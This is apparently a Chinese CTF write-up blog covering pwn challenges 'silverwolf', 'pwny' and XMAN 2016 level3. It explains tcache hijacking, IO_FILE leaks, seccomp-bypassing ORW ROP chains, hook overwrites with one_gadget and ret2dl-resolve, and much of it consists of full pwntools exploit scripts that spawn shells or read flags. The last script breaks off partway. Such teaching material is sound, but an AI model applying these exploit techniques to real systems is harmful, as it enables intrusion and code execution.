0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

可以看到只剩read和write权限了,同时题目提示flag在./flag,所以用read和write来读取和打印flag即可,利用orw。

1.思路:

(1)一样的,控tcache结构体泄露heap和libc。

(2)这里由于开seccomp保护会申请挺多堆块的,所以bins和heap中都比较乱,再加上限制size,所以这里可以有两种方法:

①一是控tcache,从0x10-0x80都给控了,加起来总共0x240,这里算出来是0x148,足够放下orw了。

②二是利用IO_FILE泄露environ,得到栈地址,再泄露得到ELF基地址,计算BSS段,将size给改了,那么edit想输入多少数据就能输入多少,这样就可以在一个chunk中放下所有orw。

2.贴下exp:

①控tcache:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
from pwn import *
import os
import struct
import random
import time
import sys
import signal

#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

local = 1
if local:
p = process('./silverwolf')
elf = ELF("./silverwolf")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("114.116.231.128","25285")
libc = ELF("./libc-2.27.so")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x00000000000215bf# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023eea # pop rsi ; ret
pop_rdx_rsi_ret = libc_base + 0x0000000000130569 # pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96 # pop rdx ; ret
syscall_ret = libc_base + 0x11B637
pop_rax_ret = libc_base + 0x0000000000043ae8

menu = "Your choice: "


def add(idx, size):
sla(menu, "1")
sla("Index: ",str(idx))
sla("Size: ",str(size))


def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sla("Content: ", str(con))

#leak heap
add(0,8)
add(0,8)
delete(0)
edit(0,"A"*8)
show(0)
ru("AAAAAAAA")
heap = u64(p.recv(6)+"\x00"+"\x00")-0x10
print("heap:",hex(heap))

#control tcache struct,leak libc
add(0,0x78)
delete(0)
#edit(0,p64(heap+0x2a0))
edit(0,p64(heap+0x10))
add(0,0x78)
add(0,0x78)
edit(0,"\x00"*35+"\x07")
delete(0)
show(0)
ru("Content: ")
malloc_hook = u64(p.recv(6)+"\x00"+"\x00")-112
free_hook = malloc_hook+7352
libc_base = malloc_hook-0x3EBC30
setcontext = libc_base+libc.sym['setcontext']
system = libc_base+0x4F550
IO_2_1_stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
environ = libc_base+libc.symbols['__environ']
print("IO_stdout:",hex(IO_2_1_stdout_addr))
print("environ:",hex(environ))
print("libc:",hex(libc_base))
print("setcontext:",hex(setcontext))
print("system:",hex(system))
print("free_hook:",hex(free_hook))
print("malloc_hook:",hex(malloc_hook))
print("libsystem:",hex(libc.sym["system"]))

#use IO_FILE,leak environ,elf_base,bss_addr,change size
edit(0,"\x00"+"\x00"+"\x00"+"\x00"+"\x00"+"\x02"+"\x04"+ "\x00"*0x39+
p64(0x0)+ #0x20
p64(0x0)+ #0x30
p64(0x0)+ #0x40
p64(0x0)+ #0x50
p64(0x0)+ #0x60
p64(IO_2_1_stdout_addr)+ #0x70
p64(heap+0x10)) #0x80
add(0,0x68)
#delete(0)
#edit(0,p64(malloc_hook))
#add(0,0x8)
#add(0,0x8)
edit(0,p64(0xFBAD1800)+p64(IO_2_1_stdout_addr+131)*0x3+p64(environ)+p64(environ+0x8))
stack = u64(p.recv(6)+"\x00"+"\x00")
print("stack",hex(stack))
edit(0,p64(0xFBAD1800) +p64(IO_2_1_stdout_addr+131)*0x3+p64(stack+168)+p64(stack+168+8))
elf = u64(p.recv(6)+"\x00"+"\x00")-0x40
print("elf",hex(elf))
bss = elf+0x202020
size_addr = bss+0x30

#set free_hook to setcontext+53
add(0,0x78)
edit(0,"\x01"+"\x01"+"\x00"+"\x00"+"\x01"+"\x02"+"\x04"+ "\x00"*0x39+
p64(free_hook)+ #0x20
p64(0x0)+ #0x30
p64(0x0)+ #0x40
p64(0x0)+ #0x50
p64(size_addr)+ #0x60
p64(0x0)+ #0x70
p64(heap+0x10)) #0x80
add(0,0x8)
edit(0,p64(setcontext+53))

add(0,0x78)
edit(0,"\x02"+"\x01"+"\x01"+"\x01"+"\x01"+"\x02"+"\x04"+"\x02" +"\x00"*0x38+
p64(heap+0x2e0)+ #0x20
p64(heap+0x2e0+0x10)+ #0x30
p64(heap+0x2e0+0x30)+ #0x40
p64(heap+0x2e0+0x60)+ #0x50
p64(heap+0x2e0+0xa0)+ #0x60
p64(heap+0x2e0+0xf0)+ #0x70
p64(heap+0x2e0)) #0x80


fake_rsp = heap+0x2e0+0xb0+0x10
flag = heap+0x2e0+0xb0

orw = "a"*0xa0 + p64(fake_rsp)+p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])
print(len(orw))

#copy the orw to heap+0x2e0
add(0,0x10)
edit(0,orw[0:0x10])

add(0,0x20)
edit(0,orw[0x10:0x30])

add(0,0x30)
edit(0,orw[0x30:0x60])

add(0,0x40)
edit(0,orw[0x60:0xa0])

add(0,0x50)
edit(0,orw[0xa0:0xf0])

add(0,0x60)
edit(0,orw[0xf0:0x150])

add(0,0x78)
delete(0)

p.interactive()

②修改size:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from pwn import *
import os
import struct
import random
import time
import sys
import signal

#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

local = 1
if local:
p = process('./silverwolf')
elf = ELF("./silverwolf")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("114.116.231.128","25285")
libc = ELF("./libc-2.27.so")


#ROPgadget
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x00000000000215bf# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023eea # pop rsi ; ret
pop_rdx_rsi_ret = libc_base + 0x0000000000130569 # pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96 # pop rdx ; ret
syscall_ret = libc_base + 0x11B637
pop_rax_ret = libc_base + 0x0000000000043ae8

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "Your choice: "


def add(idx, size):
sla(menu, "1")
sla("Index: ",str(idx))
sla("Size: ",str(size))


def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sla("Content: ", str(con))

#leak heap
add(0,8)
add(0,8)
delete(0)
edit(0,"A"*8)
show(0)
ru("AAAAAAAA")
heap = u64(p.recv(6)+"\x00"+"\x00")-0x10
print("heap:",hex(heap))

#control tcache struct,leak libc
add(0,0x78)
delete(0)
#edit(0,p64(heap+0x2a0))
edit(0,p64(heap+0x10))
add(0,0x78)
add(0,0x78)
edit(0,"\x00"*35+"\x07")
delete(0)
show(0)
ru("Content: ")
malloc_hook = u64(p.recv(6)+"\x00"+"\x00")-112
free_hook = malloc_hook+7352
libc_base = malloc_hook-0x3EBC30
setcontext = libc_base+libc.sym['setcontext']
system = libc_base+0x4F550
IO_2_1_stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
environ = libc_base+libc.symbols['__environ']
print("IO_stdout:",hex(IO_2_1_stdout_addr))
print("environ:",hex(environ))
print("libc:",hex(libc_base))
print("setcontext:",hex(setcontext))
print("system:",hex(system))
print("free_hook:",hex(free_hook))
print("malloc_hook:",hex(malloc_hook))
print("libsystem:",hex(libc.sym["system"]))

#use IO_FILE,leak environ,elf_base,bss_addr,change size
edit(0,"\x00"+"\x00"+"\x00"+"\x00"+"\x00"+"\x02"+"\x04"+ "\x00"*0x39+
p64(0x0)+ #0x20
p64(0x0)+ #0x30
p64(0x0)+ #0x40
p64(0x0)+ #0x50
p64(0x0)+ #0x60
p64(heap+0x10)+ #0x70
p64(IO_2_1_stdout_addr)) #0x80
add(0,0x78)
#delete(0)
#edit(0,p64(malloc_hook))
#add(0,0x8)
#add(0,0x8)
edit(0,p64(0xFBAD1800)+p64(IO_2_1_stdout_addr+131)*0x3+p64(environ)+p64(environ+0x8))
stack = u64(p.recv(6)+"\x00"+"\x00")
print("stack",hex(stack))
edit(0,p64(0xFBAD1800) +p64(IO_2_1_stdout_addr+131)*0x3+p64(stack+168)+p64(stack+168+8))
elf = u64(p.recv(6)+"\x00"+"\x00")-0x40
print("elf",hex(elf))
bss = elf+0x202020
size_addr = bss+0x30

#set free_hook to setcontext+53
add(0,0x68)
edit(0,"\x01"+"\x01"+"\x00"+"\x00"+"\x01"+"\x02"+"\x04"+ "\x00"*0x39+
p64(free_hook)+ #0x20
p64(heap+0x260)+ #0x30
p64(0x0)+ #0x40
p64(0x0)+ #0x50
p64(size_addr)) #0x60
add(0,0x8)
edit(0,p64(setcontext+53))

#get final chunk
add(0,0x58)
edit(0,p64(0x500)+p64(heap+0x2e0))


fake_rsp = heap+0x2e0+0xb0+0x10
flag = heap+0x2e0+0xb0
orw = "a"*0xa0 + p64(fake_rsp)+p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

edit(0,orw)
delete(0)

p.interactive()

▲写得有点乱,为了达到效果中间加了不少不必要的,慢慢来吧,后面估计就能更好控tcache了。

三、pwnmy:越界任意写

这道题很有意思,用到了很多知识点。

1.关于read函数:read(fd,&var,amount)

read函数中的fd如果不为0,那么如果fd对应的Filehandle中没有数据,相当于没有被执行,如果有数据,那么就相当于是复制,将fd对应Filehandle中的数据复制amount个字节给var。其实本质来说read就是一个复制函数,只是fd为0代表标准输入,所以会从我们的输入中获取数据来复制。所以很多时候能够用到fd来出题。

这里就用到题目的write函数,第一次write(256)越界,将fd对应的Filehandle中的随机值复制给byte_202860,此时byte_202860中的值为result = open(“/dev/urandom”, 0);出来的随机值。

img

之后再次write(256)越界,此时byte_202860从随机值中取一个字节:

img

img

这里复现时为0x15,但是0x15没有对应的Filehandle,那么依据read函数的性质,相当于没有运行,所以byte_202860就会被赋值为0,这也就是为什么要write(256)两次的原因。

2.关于getshell方法:

(1)利用scanf函数,这个函数在接收过多输入时,会申请堆块,可以利用这个来用malloc和realloc调整栈帧配合one_gadget来getshell。因为我调试的时候所有的one_gadget都不满足。

(2)利用exit函数,函数流为:

exit()->__run_exit_handlers->_dl_fini->*******[_dl_rtld_lock_recursive/_dl_rtld_unlock_recursive]

而[_dl_rtld_lock_recursive/_dl_rtld_unlock_recursive]位于结构体_rtld_global中,可读可写,所以利用任意写改掉_rtld_global中的函数指针为one_gadget即可。但是这里的One_gadget也都不符合,所以需要用到一些gadget来调整,这里自己找吧。

推荐:https://www.cnblogs.com/bhxdn/p/14222558.html

(3)利用environ,可以利用libc上的environ来获取栈地址,然后直接改栈上的返回地址吗,对应调整栈帧即可。这里改write的返回地址可以直接getshell。

4.关于泄露地址:

(1)libc地址:可以看到bss段上保存着三个标准符号:012->stdout,stdin,stderr。而这三个bss段变量在所有libc中都有,并且里面保存着对应的结构体的地址:

_IO_2_1_stdout,_IO_2_1_stdin,_IO_2_1_stderr

所以可以利用任意读来获取libc地址。

(2)elf地址:由于之后需要修改libc地址吗,所以一定需要qword_202060的地址,而这个elf地址就只能往后找了,用qword_202060[v2]的相对偏移往后找了,这里自己找。

▲综上所述,这道题也差不多了,考点还是挺多的,方法也挺多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwny"
libc_file = "./libc-2.27.so"
#libc_file = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("119.3.81.43","49153")
elf = ELF(binary)
libc = ELF(libc_file)



def menu(idx):
sla(": ", str(idx))

def write_fd(idx):
menu(2)
sla(": ", str(idx))


def write(idx, con):
menu(2)
sla(": ", str(idx))
sd(con)

def read(idx):
menu(1)
sa(": ", idx)

write_fd(256)
gdb.attach(p)
pause()

write_fd(256)

#leak stderr
read(p64(-4&0xffffffffffffffff))
ru(": ")
stderr_addr = int(ru("\n"), 16)

#leak elf
read(p64(-0xb&0xffffffffffffffff))
ru(": ")
elf_base = int(ru("\n"), 16) -0x202008

log.info("stderr_addr:0x%x"%stderr_addr)
log.info("elf_base:0x%x"%elf_base)

qword_202060_addr = elf_base+0x202060

obj = LibcSearcher("_IO_2_1_stderr_", stderr_addr)
libc_base = stderr_addr-obj.dump('_IO_2_1_stderr_')
log.info("libc_base:0x%x"%libc_base)
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")

malloc_hook_addr = libc_base + obj.dump("__malloc_hook")
realloc_hook_addr = libc_base + obj.dump("__realloc_hook")
realloc_addr = libc_base + obj.dump("realloc")
_rtld_global_addr = libc_base + obj.dump("_rtld_global_")
# offset1 = (_rtld_global_addr+3840 - qword_202060_addr)/8
# offset2 = (_rtld_global_addr+3848 - qword_202060_addr)/8
offset_malloc = (malloc_hook_addr-qword_202060_addr)/8
offset_realloc_hook = (realloc_hook_addr-qword_202060_addr)/8
# log.info("offset1:0x%x"%offset1)
# log.info("offset1:0x%x"%offset2)

log.info("_rtld_global_addr:0x%x"%_rtld_global_addr)
log.info("realloc_addr:0x%x"%realloc_addr)
log.info("malloc_hook_addr:0x%x"%malloc_hook_addr)
log.info("realloc_hook_addr:0x%x"%realloc_hook_addr)

one_gadget = libc_base + 0x10a41c
log.info("one_gadget:0x%x"%one_gadget)

# write(offset1,p64(one_gadget))
# write(offset2,p64(one_gadget))
write(offset_malloc,p64(realloc_addr+0x4))
write(offset_realloc_hook,p64(one_gadget))

# gdb.attach(p)
# pause()

sl("9"*0x1000)
p.interactive()

XMAN 2016-level3(32+64)

一、32位程序

1.漏洞分析

  • 常规checksec,开了Partial RELRO和NX,IDA找漏洞,很明显在vulnerable_function函数中存在栈溢出:
1
2
3
4
5
#注释头

char buf; // [esp+0h] [ebp-88h]
----------------------------------------------------------------------
return read(0, &buf, 0x100u);
  • 很多种方法,这里选择用ret2dl-resolve来尝试解决。

  • 关于ret2dl-resolve介绍,篇幅太长,不说了,后面放资料链接,介绍一下装载流程:

    • 通过struct link_map *l获得.dynsym、.dynstr、.rel.plt地址
    • 通过reloc_arg+.rel.plt地址取得函数对应的Elf32_Rel指针,记作reloc
    • 通过reloc->r_info和.dynsym地址取得函数对应的Elf32_Sym指针,记作sym
    • 检查r_info最低位是否为7
    • 检查(sym->st_other)&0x03是否为0
    • 通过strtab+(sym->st_name)获得函数对应的字符串,进行查找,找到后赋值给rel_addr,最后调用这个函数。

2.EXP分析

首先思考exp编写的攻击思路,由于栈溢出的比较少,而ret2dl-resolve攻击需要构造几个结构体,所占空间较大,所以这里进行栈劫持,将栈劫持到程序运行过程中生成的bss段上。之后再在栈上布置结构体和必要数据,重新执行延迟绑定,劫持动态装载,将write函数装载成system函数,并且在劫持的同时将Binsh字符串放在栈上,这样劫持完成后就直接调用system函数,参数就是binsh。

(1)寻找数据地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#注释头

write_got = 0x0804a018
read_plt = 0x08048310
plt0_addr = 0x08048300
leave_ret = 0x08048482
pop3_ret = 0x08048519
pop_ebp_ret = 0x0804851b
new_stack_addr = 0x0804a500
#程序运行起来才会有,bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错

relplt_addr = 0x080482b0
#.rel.plt的首地址,通过计算首地址和新栈上我们伪造的结构体Elf32_Rel偏移构造reloc_arg

dynsym_addr = 0x080481cc
#.dynsym的首地址,通过计算首地址和新栈上我们伪造的Elf32_Sym结构体偏移来构造Elf32_Rel.r_info

dynstr_addr = 0x0804822c
#.dynstr的首地址,通过计算首地址和新栈上我们伪造的函数名字符串system偏移来构造Elf32_Sym.st_name

这里寻找的relplt_addr,dynsym_addr,dynstr_addr一般都是位于ELF文件头部的LOAD段。用readelf -S binary也可以看到:

img

  • relplt_addr:0x080482b0

img

  • dynsym_addr:0x080481cc

img

  • dynstr_addr:0x0804822c

img

(2)栈劫持:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#注释头

payload = ""
payload += 'A'*140 #padding
payload += p32(read_plt)
#调用read函数往新栈写值,防止leave; retn到新栈后出现ret到地址0上导致出错
payload += p32(pop3_ret)
#read函数返回地址,从栈上弹出三个参数从而能够将esp拉到pop_ebp_ret的地方来执行
payload += p32(0) #fd = 0
payload += p32(new_stack_addr) #buf = new_stack_addr
payload += p32(0x400) #size = 0x400
payload += p32(pop_ebp_ret)
#把新栈顶给ebp
payload += p32(new_stack_addr)
payload += p32(leave_ret)
#模拟函数返回,利用leave指令把ebp的值赋给esp,完成栈劫持,同时ebp指向第二段payload的第一个内容,eip为第二段payload中的plt0_addr

io.send(payload) #此时程序会停在使用payload调用的read函数处等待输入数据

(3)伪造两个结构体和必要的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#注释头


fake_Elf32_Rel_addr = new_stack_addr + 0x50
#在新栈上选择一块空间放伪造的Elf32_Rel结构体,结构体大小为8字节

fake_Elf32_Sym_addr = new_stack_addr + 0x5c
#在伪造的Elf32_Rel结构体后面接上伪造的Elf32_Sym结构体,结构体大小为0x10字节

fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr
#计算伪造的reloc_arg

fake_st_name_addr = new_stack_addr + 0x6c - dynstr_addr
#伪造的Elf32_Sym结构体后面接上伪造的函数名字符串system_addr

fake_r_info = ((fake_Elf32_Sym_addr - dynsym_addr)/0x10) << 8 | 0x7
#伪造r_info,偏移要计算成下标,除以Elf32_Sym的大小,最后一字节为0x7


fake_Elf32_Rel_data = ""
fake_Elf32_Rel_data += p32(write_got)
#r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
fake_Elf32_Rel_data += p32(fake_r_info)

fake_Elf32_Sym_data = ""
fake_Elf32_Sym_data += p32(fake_st_name_addr)
fake_Elf32_Sym_data += p32(0)
#后面的数据直接套用write函数的Elf32_Sym结构体
fake_Elf32_Sym_data += p32(0)
fake_Elf32_Sym_data += p8(0x12)
fake_Elf32_Sym_data += p8(0)
fake_Elf32_Sym_data += p16(0)

binsh_addr = new_stack_addr + 0x74 #把/bin/sh\x00字符串放在最后面
  • reloc_arg作用:作为偏移值,与relplt_addr相加得到ELF32_Rel结构体的地址。这里设置成fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr,那么相加之后就可以直达我们设置的fake_ELF32_Rel结构体位置。

  • st_name_addr作用:作为偏移值,与dynstr_addr相加得到存放函数名的地址。如果按照原本的重定位,那么此处计算之后存放的应该是write,所以这里将其改为system,放在所有数据的最后面,将地址存放到fake_Elf32_Sym结构体中,设置为fake_st_name_addr = new_stack_addr + 0x6c - dynstr_addr,这样相加之后就会定位到new_stack_addr + 0x6c,即我们劫持栈上的system字符串地址处,从而劫持装载。

  • r_info作用:作为偏移值,使得结构体数组Elf32_Sym[r_info>>8]来找到存放write的结构体Elf32_Sym。我们知道结构体数组寻址方式其实就是addr = head_addr + size*indx,也就是首地址加上数组中元素大小乘以索引。这里由于伪造了Elf32_Sym结构体,所以我们的r_info>>8 = indx应该是addr - head_addr/size,对应的就是(fake_Elf32_Sym_addr - dynsym_addr)/0x10,得到最终的r_info为((fake_Elf32_Sym_addr - dynsym_addr)/0x10)<<8。

  • 设置write的Elf32_Sym结构体时,可以通过命令readelf -r binary,找到write的r_info偏移为407:

img

之后输入objdump -s -j .dynsym level3,查找偏移为4的Elf32_Sym结构体内容:

img

这里就是0x804820c,对应的内容为:

1
2
3
4
5
6
7
8
9
#注释头


st_name = 31000000
st_value = 00000000
st_size = 00000000
st_info = 12
st_other = 00
st_shndx = 0000

▲其实在IDA中看的更清楚:img

同时由于搜寻数据时,需要查找类型R_386_JUMP_SLOT,该索引为r_info的最后一个字节,所以需要将r_info的最后一个字节设置为0x07,来通过检查。

▲以下为两个结构体内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#注释头

#Elf32_Rel结构体:大小为0x08
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;


#Elf32_Sym结构体:大小为0x10
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;

(4)执行流程

将伪造的结构体和必要数据放在bss新栈上,从plt0_addr开始执行,调用write函数,重新装载write函数,劫持成system函数,同时修改参数为binsh,直接getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

#执行数据:
payload = ""
payload += "AAAA" #位于new_stack_addr,占位用于pop ebp
payload += p32(plt0_addr) #位于new_stack_addr+0x04,调用PLT[0]
payload += p32(fake_reloc_arg) #位于new_stack_addr+0x08,传入伪造的reloc_arg
payload += p32(0) #位于new_stack_addr+0x0c,system函数返回值
payload += p32(binsh_addr) #位于new_stack_addr+0x10,修改参数为/bin/sh字符串地址

#伪造的内容数据:
payload += "A"*0x3c #位于new_stack_addr+0x14,padding
payload += fake_Elf32_Rel_data #位于new_stack_addr+0x50,Elf32_Rel结构体
payload += "AAAA" #位于new_stack_addr+0x58,padding
payload += fake_Elf32_Sym_data #位于new_stack_addr+0x5c,Elf32_Sym结构体
payload += "system\x00\x00" #位于new_stack_addr+0x6c,传入system函数名
payload += "/bin/sh\x00" #位于new_stack_addr+0x74,传入binsh字符串

io.send(payload)
io.interactive()

▲不同版本的libc也不太一样,在libc2.27及以下试过都行,但2.30及以上好像就不可以,可能版本改了多了一些检查吧。

二、64位程序:

1.条件变更:

(1)两大结构体发生变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

#Elf64_Rela结构体:大小为0x18
typedef struct
{
Elf64_Addr r_offset; /(0x08)* Address */
Elf64_Xword r_info; /(0x08)* Relocation type and symbol index */
Elf64_Sxword r_addend; /(0x08)* Addend */
} Elf64_Rela;

#Elf64_Sym结构体:大小为0x18
typedef struct
{
Elf64_Word st_name; /(0x04)* Symbol name (string tbl index) */
unsigned char st_info; /(0x01)* Symbol type and binding */
unsigned char st_other; /(0x01)* Symbol visibility */
Elf64_Section st_shndx; /(0x02)* Section index */
Elf64_Addr st_value; /(0x08)* Symbol value */
Elf64_Xword st_size; /(0x08)* Symbol size */
} Elf64_Sym;

elf64_rel

elf64_sym

(2)寻址方式发生变化

不再是直接寻址,而是通过一个数组寻址,并且如果索引过大,会造成数组越界,程序崩溃。这里就需要设置link_map里的某些参数,置为0,才能跳过其中的判断语句,使得伪造的r_info能够起作用,所以这里还需要先泄露link_map的地址:(或者直接伪造link_map)

▲ GOT+4(即GOT[1])为动态库映射信息数据结构link_map 地址;GOT+8(即GOT[2])为动态链接器符号解析函数的地址_dl_runtime_resolve。

(3)数组索引对齐

需要进行0x18的对齐,确保通过索引n*0x18到的地址是我们伪造的结构体。

2.思考exp编写:

(1)各种前置地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
vulfun_addr = 0x4005e6
write_got = 0x600A58
read_got = 0x600A60
plt0_addr = 0x4004a0
link_map_got = 0x600A48
#GOT[1]的地址
leave_ret = 0x400618
pop_rdi_ret = 0x4006b3
pop_rbp_ret = 0x400550

new_stack_addr = 0x600d88
#程序运行起来才会有,bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错

relplt_addr = 0x400420
#.rel.plt的首地址,通过计算首地址和新栈上我们伪造的结构体Elf64_Rela偏移构造reloc_arg

dynsym_addr = 0x400280
#.dynsym的首地址,通过计算首地址和新栈上我们伪造的Elf64_Sym结构体偏移构造Elf64_Rela.r_info

dynstr_addr = 0x400340
#.dynstr的首地址,通过计算首地址和新栈上我们伪造的函数名字符串system偏移构造Elf64_Sym.st_name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

universal_gadget1 = 0x4006aa
#pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
universal_gadget2 = 0x400690
#mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]

#使用万能gadgets调用write泄露link_map地址
payload = ""
payload += 'A'*136 #padding
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1) #rbp,随便设置
